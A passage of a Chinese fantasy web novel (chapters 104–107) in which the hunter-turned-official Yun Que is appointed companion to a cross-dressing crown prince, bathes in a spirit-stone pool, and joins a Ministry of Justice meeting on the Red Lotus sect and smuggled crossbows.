即便为官多年的当朝首辅,此刻也看不透皇帝的用意在何处。 大朝会结束后,牧青瑶直奔学宫而去。 她要将这个好消息告诉云缺。 刑部那边的动作更快,不仅勾掉了云缺的囚犯身份,连官服官帽都给准备好了,就等着云缺来刑部上任。 吴鹰去了趟赃罚司,提走了云缺被关押前的财物,亲自送去学宫。 由于云缺被罚在后山悟心崖面壁,财物由吴鹰暂时保存。 回到住处,吴鹰将云缺的包裹放在一边,只拿起那个空空的刀鞘。 吴鹰仔细的看着刀鞘。 自从云缺被押入天牢,这把刀鞘他看过好多次,可每看一次,都会心潮澎湃。 尤其看到刀鞘下端悬着的黑铁腰牌之际,吴鹰的神色变得无比复杂,他望着腰牌上早已被磨砺得模糊的斩妖司三个字,眼眸里泛起着无人能理解的狂热之色。 仿佛那块腰牌是他的亲人,是他的故友,是他毕生所追寻的希望。 第104章 东宫美人 天祈学宫,后山断崖。 天天吃着生地瓜的云缺,还不知道自己已经升官发财。 别说升官,云缺现在就想换换胃口,哪怕吃一口土豆也成。 天天地瓜,实在吃够了。 吃得云缺现在看见屠苏和满申,都觉得看到两个地瓜精。 十天面壁,云缺没闲着。 天天和两人切磋,由此熟悉着七品炼神境的威能。 从最开始旗鼓相当,到后来屠苏和满申天天挨揍,当第十天云缺提出打架的时候,两人直接趴地上认输。 “不打了!你下手也太重了!我的脸到现在还没好呢!” “都是七品,怎么咱们俩加起来也打不过你呢,我认输!再打我快断气了!” 两人耍赖不起来。 云缺瞅了瞅这两位草原来的莽汉,随后放弃了切磋的念头。 是不能再打了。 闭关之前,这二位就被演武殿那帮武夫打成了猪头,这都十天了,还是两颗猪头,伤势一点没轻。 “我下手重了么?” 云缺坐在崖底开始自我反思。 屠苏听得无可奈何,瞧瞧自己这遍布青紫的身体,也就他们常年打架的草原人还扛得住,换成其他武者,这十天切磋下来非得被打死不可。 十天时间一到,云缺终于重获自由。 刚走出后山,云缺便看到了穿着一身学子服的灵芸郡主,宛若一朵盛开的梨花,笑盈盈的出现在面前。 “郡主殿下好久不见,你也来面壁么。”云缺打趣道。 “听说悟心崖面壁后的学子,看见什么都想吃,狼狈得很,我来看看面壁人的下场。”牧青瑶不甘示弱的道。 随后这位小郡主当真看到了面壁人的凄凉下场,屠苏和满申顶着两颗猪头从云缺后面冒了出来。 “终于自由了!再也不来了!” “我宁可和一群七阶妖兽睡觉,也不和云缺一起面壁!” 两人眼泪汪汪,跑回百花殿找吃的去了。 牧青瑶被屠苏和满申吓了一跳,狐疑的看了看云缺,道: “该不会是你打的吧?” “当然不是,我这么老实怎么会打人呢,他们自己切磋弄伤的,你看我就没伤,老老实实面壁了十天。”云缺道。 牧青瑶明显不信,道:“刚进学宫就与演武殿高手赌斗,一招完胜后,又与上百人群殴,你云缺的大名都快满学宫人尽皆知了。” “有那么出名吗,以后我低调一些。”云缺道。 与牧青瑶见面后,云缺得知了对方被监正禁足,也得知了皇帝的封赏。 如今云缺终于成了自由自身,没事儿也可以上街了,不用担心被追捕。 “刑部五品的官职,皇帝挺大方嘛。” 云缺感慨了一句后,立刻问出最关切的问题:“五品官儿,一个月多少俸禄?” “具体多少我不太清楚,大致应该在二百两纹银以上。”牧青瑶道。 “这么多!”云缺大吃一惊。 在藏石镇当仵作的时候,验一具尸体才一百个铜钱,一个月未必能凑够一两银子。 果然还是当官好哇。 云缺不无感慨。 “不止呢,皇帝封你为太子伴读。”牧青瑶笑着道。 得知自己成了太子伴读,东宫行走,云缺倍感纳闷。 “我一介武夫,没什么学问,让我伴读是什么意思?” “陛下此举的用意,我也想不通,总之不是坏事,至少你有两份俸禄可拿。”牧青瑶笑道。 云缺点点头,装模作样的拱手道:“微臣,多谢郡主提携。” “免礼。” 牧青瑶忍着笑,将萍山君的行妖令与一张价值三千两的银票一并塞给云缺,道:“兑现承诺,钱给你了。” “郡主果然言而有信,不知剩下的好处,何时兑现呢。”云缺坏笑道。 牧青瑶俏脸一红,狠狠掐着云缺的手背道:“那件事以后再说!我不会赖账就是了!” 笑闹一番,牧青瑶神色一正,道: “我见过师尊了,师尊说人各有志,不会强求你来司天监。” 云缺没说话,轻轻点了点头。 牧青瑶随后将乌家寨打造战巫的古老手段,告知了云缺。 “果然不是正常的战巫。”云缺微微皱眉。 当初斩杀那百名乌家战巫之时,云缺就觉得有古怪。 正常战巫,身体虽然比正常人强大,但也强得有限,多说类似于九品武夫,被重创后肯定受不了,可乌家战巫明显类似于怪物,手脚断了也不知道疼,还能冲杀。 “打造战巫的手段具体从何而来,司天监还在追查,我估计是红莲教内的高手所为。”牧青瑶道。 “红莲教,追查得如何了。”云缺问道。 “陛下已经下旨清缴红莲教余孽,我打听过,最近这些日子挖出来不少红莲教的信徒,砍了上千颗人头,不过那教主的踪迹没有任何消息。”牧青瑶道。 “军弩的事呢。”云缺道。 “不太清楚,军弩事件是刑部负责,正好你就任刑部,可以自己打听一下。”牧青瑶道。 两人边走边说,很快到了百花殿外。 “我最近几月会在鸿儒殿学习,为年底冲击境界做准备,或许经常要闭关读书。” 牧青瑶叮嘱道:“你要尽快进宫面圣,领取封赏,陛下说很想见见你这位少年俊杰呢,到了刑部也需要熟悉一番,官场不比学宫,足够圆滑才能不吃亏。” 云缺停步,将心头的疑惑道出:“我的案子,卷宗上标注着待审二字,听说是刑部尚书所定,不知我何处得罪了那位尚书大人。” “不是尚书大人定的,是陛下。” 牧青瑶将当晚面圣的经过道出,说明了皇帝拖着案子的目的,是不喜云缺与自己走得太近。 “原来如此,看来太子对郡主一往情深呐,有皇帝帮忙,将来太子妃非你莫属喽。”云缺酸溜溜的道。 牧青瑶背起小手,上身前倾,盯着云缺好一会,扑哧笑出声来。 “你吃醋了?” 牧青瑶美目弯弯的笑着道:“我和太子的确从小一起长大,是朋友不假,但没有男女之情,我不会嫁给他的,这下放心了吧。” 见云缺装作无所谓的样子,牧青瑶再次狠狠的掐了掐云缺手背,叮嘱道: “太子此人脾气很古怪,儿时我们一起玩耍的时候,我都拿他当姐妹,他对女人的首饰衣裙之类格外感兴趣,但是对女人却没什么兴趣,你去东宫的时候,注意一下言谈举止,太子并不好相处。” 牧青瑶说完,深深看了眼云缺,两人就此分别。 回到百花殿,云缺第一件事就是冲向饭堂。 结果一看早饭,顿时没了胃口。 煮红薯,地瓜粥,咸鸭蛋。 怎么又是地瓜! 云缺没胃口,屠苏和满申可有胃口,但两人身上分文皆无,盯着咸鸭蛋龇牙咧嘴,好像要生吞似的。 得到三千两银票后,云缺大发善心,请两人吃了早饭。 单单咸鸭蛋,这二位就干掉了一百个! 吃饭的时候,云缺看了眼角落。 穹舞独自坐在桌旁,正小口的喝着地瓜粥,舞仙子温文尔雅的举止,吸引了无数偷瞄的目光。 这时穹舞也抬起头,望向云缺。 云缺以为对方还会如往常那般瞪眼,结果穹舞非但没瞪眼,反而微微勾起嘴角,现出一抹奇怪的浅笑,显得有些诡异。 云缺莫名其妙的回瞪了一眼,心说果然女人心海底针,难道天天瞪眼瞪累了? 改嘲笑了? 吃完饭,云缺找到房石,还了一千八两的丹药钱。 随后看到了吴鹰。 “吴师兄,来找我?”云缺道。 “当然了,喏,给你送东西,都是你在天牢里的物件,自己数一数,缺了什么赶紧说,过后可不补。”吴鹰笑着将一个大包裹交给云缺。 里面都是云缺之前携带的东西。 有刀鞘,有银票,有衣物,还有两根半截的镔铁钩镰枪,是藏石镇击杀那八品武者后所得,一直没卖。 云缺道过谢后,将刚刚得到的三千两银票塞给吴鹰。 “多谢吴师兄的神藏丹,无功不受禄,这是丹药钱。”云缺道。 “区区银两算得了什么。” 吴鹰见云缺执意归还便接了过来,笑道:“也好,痛快人都不喜欢欠人情,钱我收下,不过别忘了,你还欠我一拳呢。” “不会忘,以后有机会,肯定还你一拳。”云缺笑道。 “正好我要回刑部,你刚从后山出来,想必没去面圣,我们一路,等你从皇宫出来直接到刑部,今后我们不仅是学宫同窗,还是刑部同僚了哈哈!”吴鹰大笑道。 云缺也准备进宫去见见皇帝,顺便领了职位和封赏,一万两白银呢,揣兜里才踏实。 况且早一天当官,早一天领俸禄,于是云缺与吴鹰一道离开学宫。 路上,云缺得知了一个消息。 关于学宫的一次试炼。 眼看着快到年底,天祈皇城愈发热闹起来,大小庙会不断,更有最热闹的祈天大祭。 每逢年底,热闹的不仅是皇城,学宫也一样。 除了最为著名的一年一度十二殿大比之外,还有一次学宫试炼,试炼地点就在城外妖山。 所有学宫学子均可参加,以猎杀妖兽的数量来决定名次,前三的奖励极其丰厚。 云缺听得大为新奇。 猎妖而已,自己猎了十几年,多说卖点妖皮妖骨换点小钱儿,头一次遇到猎妖还有丰厚奖励的好事儿。 “我可等着和你比一比谁杀的妖物多呢,别让师兄失望啊。”吴鹰笑着问道:“对了,你的刀呢,怎么只剩下个刀鞘。” “藏起来了。”云缺狡黠一笑。 “知道被抓要关进天牢,提前藏好武器,够聪明!等妖山试炼的时候,师兄可要见识见识你的宝刀。”吴鹰笑道。 把云缺送到皇宫门外,吴鹰返回刑部。 云缺一个人面圣。 召见云缺的地方,在御书房。 皇帝独自品着茶,打量着眼前精神奕奕的少年。 “不错,阳刚之气十足,能以一己之力摧毁乌家寨,你的战力实属惊人,如今修为如何。”殷子受语气温和的询问道。 “回禀陛下,微臣刚刚突破七品炼神境。”云缺如实答道。 “小小年纪,居然已经七品境界,后生可畏啊,太子若有你一半的造诣,朕也能少些烦恼。” 殷子受感叹了一句,道:“刑部那边不急,你领了身份玉牌,先去东宫走走,见见太子。” “陛下,微臣只是个武夫,为太子伴读,怕是很难胜任。”云缺道。 既然看不透皇帝的目的,云缺只能先把丑话说在前边,到时候我不合适,你这个皇帝别降罪,不行趁早换人。 殷子受无奈的轻叹道: “找的就是武夫,太子脾气阴柔,缺了些阳刚之气,你无需多虑,太子也是百花殿的学子,只是他不经常去学宫,你们是同窗,在学宫里替朕照料他一二便是。 若有可能的话,最好教教他武道一途,朕宁可他成为个粗野的武夫,也不想他成天把自己关在东宫描鸾刺凤。” 云缺听得纳闷。 怎么太子还有刺绣这种癖好,那不是女人才做的事儿么。 殷子受此刻之言,其实发自肺腑,他是一国之君,万人之上,却教不好一个忤逆的儿子。 殷子受的心情变得有些低落。 除了太子的不成器之外,还有玉玺的下落更令他倍感无奈,眼前这个战力超然的年轻人,殷子受已经看好,打算将云缺慢慢拉拢为心腹,替他去学宫寻找玉玺。 然而殷子受做梦也没想到的是,令他夜不能寐的玉玺,此刻就在云缺怀里,离他这位皇帝不过几步之遥。 云缺没提玉玺的事。 现在交出玉玺,容易被牵连到皇宫凶杀案。 离开御书房,云缺领取了属于自己的身份玉牌与万两白银的封赏后,直接来到东宫。 东宫紧挨着皇宫,并不远。 亮出太子伴读的玉牌,云缺在东宫自然畅行无阻。 东宫太大,找了半天也没看到太子在什么地方,后来抓了个宫女询问,得知太子在一处书房看书,不许下人去打扰。 看书而已,云缺根本不在乎,到了书房推门而入。 皇帝都说希望太子像个粗野的武夫,那么不敲门硬闯,便是成为武夫的第一步。 一进门,云缺直接愣住了。 屋子里坐着个年轻女子,一身水蓝色的长裙,五官精致,正在对镜描眉。 女子也怔住了,两人一时间大眼瞪小眼,谁也说不出话来。 云缺觉得太子的生活不错,金屋藏娇,东宫里还养着美人。 “你是何人!太子殿下呢。”云缺最先打破沉默。 女子的双手猛然握紧,浑身明显颤抖起来,眼里充满愤怒与怨恨,怒道: “你好大的胆子!” 一听对方开口,云缺再次一愣。 虽然声音阴柔,但明显是男人的声调。 第105章 一起泡啊 在听到对方发出男子声音的那一刻,云缺随之恍然。 原来不是金屋藏娇,眼前这个漂亮的蓝裙女子,就是太子本人! 男扮女装,什么癖好? 云缺尴尬了一下。 这种嗜好传出去确实不好听,普通人家也就算了,多说被外人指指点点,但对方可是太子。 一国储君! 太子在东宫描眉打扮,简直是大晋的笑柄,不仅会被天下人嗤笑,皇家的脸面也会被丢尽。 太子殷宣此刻气得浑身颤抖,怒不可赦。 他一身女子装扮,生气起来居然也像个女孩子,握着拳头抿着嘴,十分阴柔,毫无男子汉那种冲冠一怒的气势。 云缺很快恢复正常,施礼道: “微臣见过太子殿下。” 殷宣怒道:“擅闯东宫,我要砍你的头!” 擅闯东宫不至于砍头,关键是殷宣的小秘密被人家发现了,这是他无法容忍的。 “这个……殿下咱们商量商量,我当没看见还不行么。”云缺道。 “我不管!你死定了,现在就处死!”殷宣怒道。 “殿下息怒,你看你的眉都描歪了。” 云缺不以为意的道:“微臣刚被陛下封为太子伴读,第一天来东宫就成了死罪,陛下肯定会问的,到时候,我为了能活命,只能如实禀报陛下,仔细说一说太子殿下的奇怪举动。” 殷宣气得脸色铁青,指着云缺道:“你、你欺人太甚!” “殿下言重了,我是自保啊。”云缺道。 殷宣很快冷静下来,冷声道:“把门关上。” 云缺回身关好门。 大门刚刚合闭,就听殷宣突然道出一个字: “定!” 定字出口,云缺的身体直接定在原地,一动不动,连发丝与衣襟都完全凝固,犹如雕塑。 殷宣终于长出一口气,捏着兰花指重新提起眉笔,对着镜子仔细的描眉。 语气戏虐的道: “道门定身术的滋味如何,以八品开光镜的修为施展,即便你是八品修身境的儒士也破不开,本宫不需要伴读书童!我会割了你的舌头,挖了你的眼,将你留在东宫半月后再赐死,到时候父皇即便怪罪也无妨了。” 殷宣描好了眉,又拿出胭脂涂红,一番精心打扮之后,提着蓝裙起身来到云缺面前。 “怎么样,本宫的绝代容颜,是不是比起天下美人也不遑多让。” 殷宣这番打扮,确实很美,如果他不开口,没人相信他是个男人。 “是挺美,不过还是个带把儿的。”云缺开口道。 “粗鄙之言!你们臭男人懂什么,本宫早晚会成为真正的女人!舍弃这恶心的男儿之身!” 殷宣认为云缺早已在自己的掌握当中,一时间说出了心里话,可随后这位太子豁然一愣,惊道: “你怎么能开口说话!” 云缺呵呵一笑,内劲运转间,浑身气机暴起,直接撑破了定身术。 八品道门修士施展的定身术,定住同阶轻而易举,哪怕高一阶的修士突然被定住,也要挣扎好一阵儿。 但云缺是武夫。 七品炼神境的武夫拥有了内劲,足以破开低阶法术对本体的禁锢。 恢复行动后,云缺示威般的舒展了一下筋骨,浑身骨节噼噼啪啪发出一阵爆响。 殷宣看得瞠目结舌,好半晌才哆嗦道: “七、七品武夫!” 殷宣始终认为云缺这个伴读书童多说是个儒家八品修身境,毕竟伴读嘛,自然以精通儒道的儒家修士最为合适。 殷宣怎么也想不到,他那位皇帝老子,居然给他找了个七品武夫当伴读! “我的眼珠可不好挖,要很大的力气才行,让殿下失望了,与其挖眼割舌的浪费时间,不如说我调戏你,没准陛下一生气,就砍了我的头呢。”云缺道。 云缺现在才知道为何皇帝偏偏指定自己这个武夫做太子伴读,原来太子已经阴柔到了这等地步。 有个武夫没事儿在身边,还能多点阳刚之气,皇帝也算用心良苦了。 殷宣踉跄后退,跌坐在大椅上,一时间双目无神,哀怨得像个女孩子。 之前只是被看到男扮女装,现在好了,连他想要做女人的秘密都被人家知道了。 殷宣很想找个地缝钻进去,脸上发烫,懊恼不已。 云缺深知见好就收的道理,拱手道: “殿下其实不必多虑,这种事说出去对我又没好处,我没必要四处宣扬,况且我这人嘴巴不大,很容易就能守口如瓶,” 这话说得堪称八面玲珑。 前半句先打消对方顾虑,拉进关系,后半句直接索要好处。 反正这事儿说大不大,说小不小,封口费,你看着给。 “你到底是什么人!”殷宣幽怨的瞪着云缺。 “微臣云缺,学宫百花殿学子,刑部五品官差,暂代提刑官一职,因斩杀乌家寨叛逆三百余人,陛下御赐太子伴读,东宫行走。”云缺道。 说出乌家寨一案,云缺是在警告太子,我能一个人斩杀几百人,就不差你这一个。 殷宣并非愚昧之人,既然斗不过对方,他立刻口风一变,道: “既然是父皇封赐的太子伴读,你在东宫的俸禄,从今日起翻倍,再赏你……玉镯一对。” 殷宣无奈的从手上摘下一对刚刚用来打扮自己的玉镯,愤愤然的塞给云缺。 百玉城以美玉闻名,云缺对玉质品自然是识货的,只扫了一眼,便估算出这对玉镯的价值。 每一个至少两千两纹银以上! 一对玉镯,怎么也得五千两! 果然还是皇家有钱,云缺大为感慨。 东宫没白来! 玉镯价值不菲,关键在东宫这边的俸禄还翻倍了,单单太子伴读,云缺一个月就差不多能得到五百两左右。 涨俸禄这种好事,换成谁都要高兴。 “微臣谢过太子殿下赏赐,这对玉镯一摸便知是极品美玉,只是微臣昨日眼睛受伤,现在看不清事物,难以一观这玉镯的华美之处,可惜呀。” 云缺很自然的给了太子个台阶。 今天我瞎,看不到玉镯,自然看不到你穿裙子的样子。 这话一说,殷宣的神色随之好转了不少,哼了声道: “云大人看来深谙官场之道,平步青云是迟早的事了,以后没什么事儿的话,别来东宫,俸禄不用担心,不会少了你的。” 云缺满口答应。 让我来,我还不想来呢,自己还要修炼,哪有时间陪你这个喜欢女装的太子。 殷宣仪态如女子般莲步轻移,绕过书房后侧的屏风,没在理睬云缺,算下了逐客令。 云缺本想现在就走,结果听到书房后传来水声。 往屏风后面瞧了眼,发现这书房别有洞天,后面建着一个精美的浴池。 浴池有三丈见方,跟个小池塘差不多,四周的墙壁以岩石修建,打造出一种野外的天然感觉。 一条小溪般的温热泉水,顺着一侧墙壁而出,缓缓流进池内。 云缺经常与梅钱在百玉城泡温泉澡,一看便知是温泉水。 看到温泉,云缺不走了。 在后山面壁十天,与屠苏和满申打了十天,云缺身上都快臭了,既然有池子,还是温泉水,正好泡一泡。 殷宣正穿着蓝裙,坐在池边拨弄着泉水,听见身后有响动,他回头一看。 云缺正在脱衣服。 “你要做什么!”殷宣大惊失色。 “这么大的池子,一个人泡多浪费。”云缺手脚麻利,直接坐进浴池。 反正自己是太子伴读,伴个澡又不算什么。 下了水,云缺感受到一股奇怪的气息存在于池子里。 这气息在外面感受不到,仿如清风拂面,随波而流,洗刷着周身所有毛孔,令人无比舒适。 气息虽然陌生,但云缺很清楚是什么。 灵气! 灵气的存在,是修行者赖以为生的根基,传说是天地未分之前的混沌之气,又叫先天真炁。 天下各大体系的修行者,全都离不开灵气。 道门用灵气蕴养金丹,儒门以灵气加固文胆,佛门借灵气加持佛法,巫修以灵气祭炼巫蛊。 修为越高,越需要庞大的灵气支撑。 武夫只修肉身本体,不需要灵气即可拥有强大的战力,但在淬炼肉身的时候,一样需要灵气辅助,否则很难将肉身淬炼到完美的程度。 天地间拥有灵气的地方,少之又少,被划分为三种。 一种是远古遗留的仙家洞府,又称为世外桃源,难寻踪迹。 一种是神兵异宝自行衍化而出的一方灵气宝地,取走宝物,灵气便随之消失。 最后一种是灵脉,又叫灵矿,由天地之力蕴化而来,深藏地底,大小不一,可开采出灵石,多被国度与宗门占据。 灵石有固定规格,两寸见方,一块灵石的价值等同千两白银,修行者可摄取灵石内的灵气来修炼,一些品阶较高的法器法宝,大多需要以灵石方可购买。 东宫里的浴池,肯定不会是仙家洞府,那么云缺感受到的灵气,只能是由灵石散发而来。 水里空荡荡,什么也没有。 仔细看了看,云缺终于发现灵石的踪迹。 原来被镶嵌在池子的侧壁上,犹如一条金色的缎带围拢成一圈,足有两三百块之多! 云缺大为震惊。 东宫的一座浴池,价值就在二三十万两以上! 云缺怀着震撼的心情,舒舒服服的泡着澡,不仅有温泉,还有灵气滋养肉身,实在舒服。 殷宣在旁边沉着脸,气得不轻。 别说和男人泡澡,他这位太子殿下沐浴的时候,宫女都不能接近,必须自己一个人才行。 “水温正好,殿下一起泡啊。” 云缺招呼道。 殷宣咬牙切齿道: “你自己泡吧!本宫才不和你们这些臭男人同处一池!” 云缺反正无所谓,你不泡就算了。 扭头一瞧,云缺看到手边有一些花草,梅花菊花百合花,总共十几种。 看样子太子泡澡的时候,还要撒上花瓣才行。 云缺扫一眼就挪开目光。 这玩意他可没兴趣,大男人的,弄一身花香成何体统,会被人骂成娘娘腔的。 不过很快云缺又转过头来,直勾勾盯住了一种金色的奇异小草。 第106章 长期饭票 浴池台子上,放着不少花朵,其中一种金色小草最不起眼,偏偏吸引了云缺所有的注意力。 这种小草通体金黄,薄如蝉翼,乍一看就像能工巧匠以黄金雕刻的金叶子。 “这是……” 云缺拿起一棵金色小草,心里有个答案,却无法确定。 殷宣在旁边冷哼一声,道: “没见识,那是金沙草,据说能洗练肉身,强健本体,本宫嫌弃味道不好从没用过。” 殷宣的语气中透着一丝得意,他觉得自己总算能找回点颜面了。 “果然是金沙草!” 云缺的眼睛开始冒光。 想要冲击六品宗师,必须将本体淬炼到极致才行,金沙淬体,灵气裹身,耗费百万两才有机会完成。 没想到在东宫里全都齐活! 浴池镶嵌灵石,手边还有金沙草,简直是天上掉馅饼一样。 不! 不是掉馅饼,而是掉下来一头烤全羊! 金沙草总共有十片,这玩意是真正的价比黄金,比金子都贵,一片至少五百两纹银! “微臣用一片金沙草,殿下不介意吧。”云缺客气的问答。 “随便你。”殷宣语气淡漠的道。 云缺将一颗金沙草扔进水里,很快感受到来自灵草的气息,不断冲刷着身体。 这下云缺舒坦了。 东宫以后得常来啊,太子简直是一张长期饭票! 云缺现在都想把皇帝赐给的北街府宅还回去,今后就住在东宫里。 见云缺泡得舒服,殷宣又恨又无奈,他提起裙摆坐在池边,将两只脚伸进水里。 这位太子不仅容貌像个女孩,连脚都如女子一样,小巧白皙。 “你怎么不怕我呢,东宫里的下人,从来没有你这种猖狂的家伙。” 殷宣垂头丧气的道,也不自称本宫了。 “我连妖都不怕,为什么要怕你呢,你是太子,又不是怪物。”云缺道。 “我是未来的皇帝,一言可断千万人生死!”殷宣道。 “未来的事,可不好说,也许未来我还是神仙呢,摘星揽月,一拳灭一国。”云缺道。 “也许,我不适合当皇帝……”殷宣的神态低落了下来。 他知道自己的软弱之处,他无法像他父皇那般威仪天下,他也许这辈子都与皇位无缘,却偏偏住在东宫,是名正言顺的太子。 “未来的事,谁知道呢,能活一天是一天,挺好的。”云缺眯着眼睛,半睡半醒的模样。 两人谁也没再开口。 殷宣想着心事,云缺忙着淬体。 整整泡了一个时辰,云缺从池子里站了起来。 金沙草与灵石的双重功效,实在惊人,这一个时辰,云缺已经感受到身体达到了极限。 并非无法再泡澡,而是已经不能吸收了,需要将身上的灵气尽数炼化方可。 再泡下去,无异于浪费时间。 那颗金沙草已经从金黄变得枯萎,彻底失去了药效。 一个时辰,五百两没了! “殿下若没有其他吩咐,微臣要去刑部就任了,晚上还要回学宫,有时间再来泡……呃再来陪太子读书。”云缺穿好衣服,告辞离开。 走的时候,云缺顺走了两朵梅花。 等云缺走后,殷宣犹豫了一下。 随后褪去裙衣,走进池水。 他刚才梳妆打扮,需要完全洗净才行,身上全是胭脂味道,若被皇帝闻到非得大怒不可。 没办法,殷宣只能在云缺洗完之后,再清洗自己。 闭着眼坐在池子里,殷宣好不容易平复了心情,他觉得云缺这个伴读还算可以,至少与其他东宫里唯唯诺诺的下人截然不同。 “云缺……狡猾的家伙。” 殷宣冷哼了一声,他手指碰到了水底的什么东西,抓出来一看,像一只毛虫,又好似草芥。 仔细看去,竟是汗泥。 太子瞪大了眼睛,好半晌终于大叫出来: “臭武夫!你多久没洗澡了!我讨厌男人!” …… 离开东宫,云缺神清气爽。 回头看了眼偌大的宫殿,云缺暗暗给东宫改了个名,东宫澡堂。 刑部大厅。 刑部侍郎上官鸿途,督捕司郎中陈洲骅,吴鹰,犁术等人均在等候着云缺这位有史以来升官最快的新同僚。 犁术算捡个便宜,皇帝只是撤了他天牢提刑官的官职,降级两品,从四品成为六品,仍在提牢司任职。 只不过之前云缺是犁术管辖的囚犯,现在人家摇身一变,成了他犁术犁大人的顶头上司。 云缺与众人打过招呼,见过上官鸿途后,来到一位居中而坐的老者近前,躬身施礼。 “属下云缺,见过尚书大人。” 眼前这位身形高大的老者,便是刑部最高长官,二品大员,刑部尚书,姜落君。 姜落君打量了一番对面的少年,颔首道: “都说英雄出少年,果然如此啊,小小年纪便官居五品,难能可贵,今后天牢的各项事宜,你要多多费心了,老夫建议你先查点一番各处牢房的牢门,看看结不结实,切勿再让牢里的强人逃脱了才好。” 刑部尚书的一番话,说得有趣,引得周围众人微笑起来。 大晋立国十几年,唯一从天牢里逃出的,就云缺一个。 “大人放心,属下打算把牢门全换成铁板,只留个饭菜进出的孔洞,这样就安全了。”云缺也开了个玩笑。 反正脸皮够厚,云缺才不在乎别人拿自己打趣,何况还是顶头上司。 “年轻人的思路,都很清奇啊。” 姜落君笑了笑,示意云缺落座,道: “最近诡案不断,闹得刑部不得安生,潜入皇宫杀人的凶手尚未找到,这件事当排在首位,你们要尽力寻找凶手的线索,早日将其捉拿归案。” 姜落君说到最后,声音变得发沉,有一种不怒自威的气势。 众人纷纷领命。 “除此之外,追查红莲教余孽一样重要,近期抓了不少红莲教的匪人,但红莲教的老巢在何处,还没有任何消息。” 姜落君顿了顿,问道:“关于流失的军弩重器,你们查得如何了。” 督捕司郎中陈洲骅急忙回话道: “据灵芸郡主带回的线索,黑风寨的军弩来自八山城一个外号叫胡子的人,真名叫令狐豪,在八山城开着一家典当行,属下已派人追查多日,此人开设的典当行早已人去楼空,查不出任何去向。” 姜落君沉吟道: “黑风寨的事闹得很大,此人收到消息就此远遁,不算意外,继续追查此人,下发通缉令,抓到为止!敢贩卖军弩,老夫倒要看看他长了几颗脑袋!” 陈洲骅拱手领命。 上官鸿途皱眉道: “大人,八山城的苏鸿山将军已经清点过本部,并无军弩流失,而军弩重器大多在皇城内锻造,会不会是皇城里有人,私下贩卖,郡主曾经提及过一个名字,说那胡子是替洛将军办事。” “洛将军……” 姜落君摇头道:“大晋的将军数以百计,其中并无此人,显然是那令狐豪为了蒙骗黑风寨而杜撰出来的人物。” 众人纷纷点头,认为尚书大人的猜测有一定的道理,敢做军弩这份买卖的人,说出什么话都不可相信。 况且晋国根本没有这个洛将军。 可惜令狐豪的消失,切断了军弩一案的线索,再想追查,刑部也毫无头绪。 云缺此时开口道: “大人,我知道一份线索。” “说来听听。”姜落君泛起一丝兴致。 “我们不知道售卖军弩的源头是何人,却能从购买军弩一方的红莲教查起,胡子虽然是中间人,但他更像一个搭桥者,为了把军弩顺利运出八山城而存在,以我猜测,红莲教的教主,一定知道谁是洛将军。” 云缺道出了自己的看法。 姜落君闻言缓缓点头,道: “有些道理,军弩一案与红莲教脱不开干系,只是红莲教太过隐秘,我们在明,他们在暗,如同木头里的蛀虫,很难抓出那教主。” “属下有一份线索,应该能挖出不少红莲教之人。”云缺道。 “是么,究竟是什么线索。” 姜落君望向云缺,其他众人的目光也纷纷汇聚在云缺身上。 “百玉城的城守,负易。”云缺沉声道:“当时我与郡主刚进城,负易便借口剿匪封城三日,说他与红莲教无关,反正我是不信。” 上官鸿途此时出言质疑道: “城守封城剿匪,在大晋并非首例,可以说时常发生,算不得奇怪,你为何断定那负易与红莲教有关呢。” “很简单,因为百玉城附近根本没有山匪。”云缺笑了笑,道:“别说山匪了,连妖都没有几只。” 作为穷困潦倒的猎妖人,在知远县地界,大妖小妖看到云缺恨不得有多快跑多快,更别提山匪了。 如果看到山匪,云缺哪能放过,肯定把山匪洗劫一空,一个铜板都不剩的那种。 所以藏石镇百玉城附近太平得很。 要是有山匪的消息,都不用百玉城出兵,云缺第一个就杀过去了。 来钱的买卖,云缺肯定当仁不让。 姜落君沉吟稍许,吩咐道: “派人去百玉城缉拿负易,押赴刑部审讯。” 陈洲骅急忙领命。 他这一会儿竟领命了,脸色发苦的道: “大人,我们刑部最近公务繁忙,又要追查皇宫凶案,又要追查红莲教和军弩,实在忙不开啊,不如让司天监协助,那红莲教听说高手众多,比妖邪还难缠,司天监的人不能只管妖物,不管妖人吧。” “是不是司天监协助还不够,还得让禁军帮忙才行,让陛下觉得刑部里全是酒囊饭袋!” 姜落君脸色发沉的道:“你的督捕司人手不够,便调集秋审司,还不够就让提牢司、赃罚司、律例司都去查案!” 陈洲骅不敢多言,唯唯诺诺的点头称是。 吴鹰此刻拱手道: “大人,云缺曾经提出一个猜测,皇宫凶案的凶手有可能是内鬼,此人能接近皇宫从而不被人怀疑,我们可彻查当天接近皇宫的所有人员,包括皇宫里的宫女和太监,其实都有嫌疑。” 吴鹰完全可以私下里将消息告知尚书,自己揽功,这时候提及又说明是云缺的猜测,显然是在尚书面前给云缺竖立个心智高超的好印象。 姜落君缓缓颔首,道: “有这个可能,派人去查一查凶案当天都有何人接近过皇宫。” 这差事又落在陈洲骅头上。 陈洲骅一脸苦涩,这都过去半个月了,上哪查去,就算有人看到凶手经过,恐怕也想不起来是哪天见过。 一次例行集议至此结束,尚书与侍郎相继离开。 两位大人一走,其他人终于轻松下来。 吴鹰提议为云缺接风洗尘,犁术立刻自报奋勇做东,派人去仙客楼定位置。 他怕云缺这位新来的顶头上司给自己穿小鞋,毕竟之前云缺还是囚犯的时候,他可没给云缺什么好脸色,只给了几顿肉而已。 离着午饭还有一段时间,云缺离开大厅后,先去了趟天牢。 既然自己回来了,那么阿梅就别想好过。 虫子的那笔账,云缺打算好好的算一算! 第107章 勾引个够 时隔半月,再次回到天牢,云缺竟有一种物是人非的感觉。 半月前,自己是天牢里的囚徒,整天想着如何逃走,郁闷憋屈。 现如今,自己成了提刑官,掌管天牢一切事宜,尽管是暂时代理,一样手握大权。 人的命运就是如此奇怪,短短十余天,阶下囚即可成为座上宾。 石头正在无精打采的趴在牢门上,这阵子放风时间被取消,他们这些囚犯愈发无聊。 “老大回来啦!” 石头看见云缺出现,以为云缺重新被押了回来,结果看到人家一身官服顿时惊得瞠目结舌,使劲揉了揉眼睛,还以为自己看错了。 没理睬石头,云缺直接来到隔壁关押阿梅的牢房前,命人打开大门。 “你们忙去吧,我要单独审讯。”云缺摆了摆手,道。 狱卒自然不敢多问,连忙退走。 坐在角落里的女人,此时抬起头,一双明亮的眼眸忽然晃动了一下,目光中充满意外。 云缺打量着阿梅。 阿梅的头发梳理得一丝不苟,衣衫也十分整齐,整个人显得明媚动人,与之前略有不同。 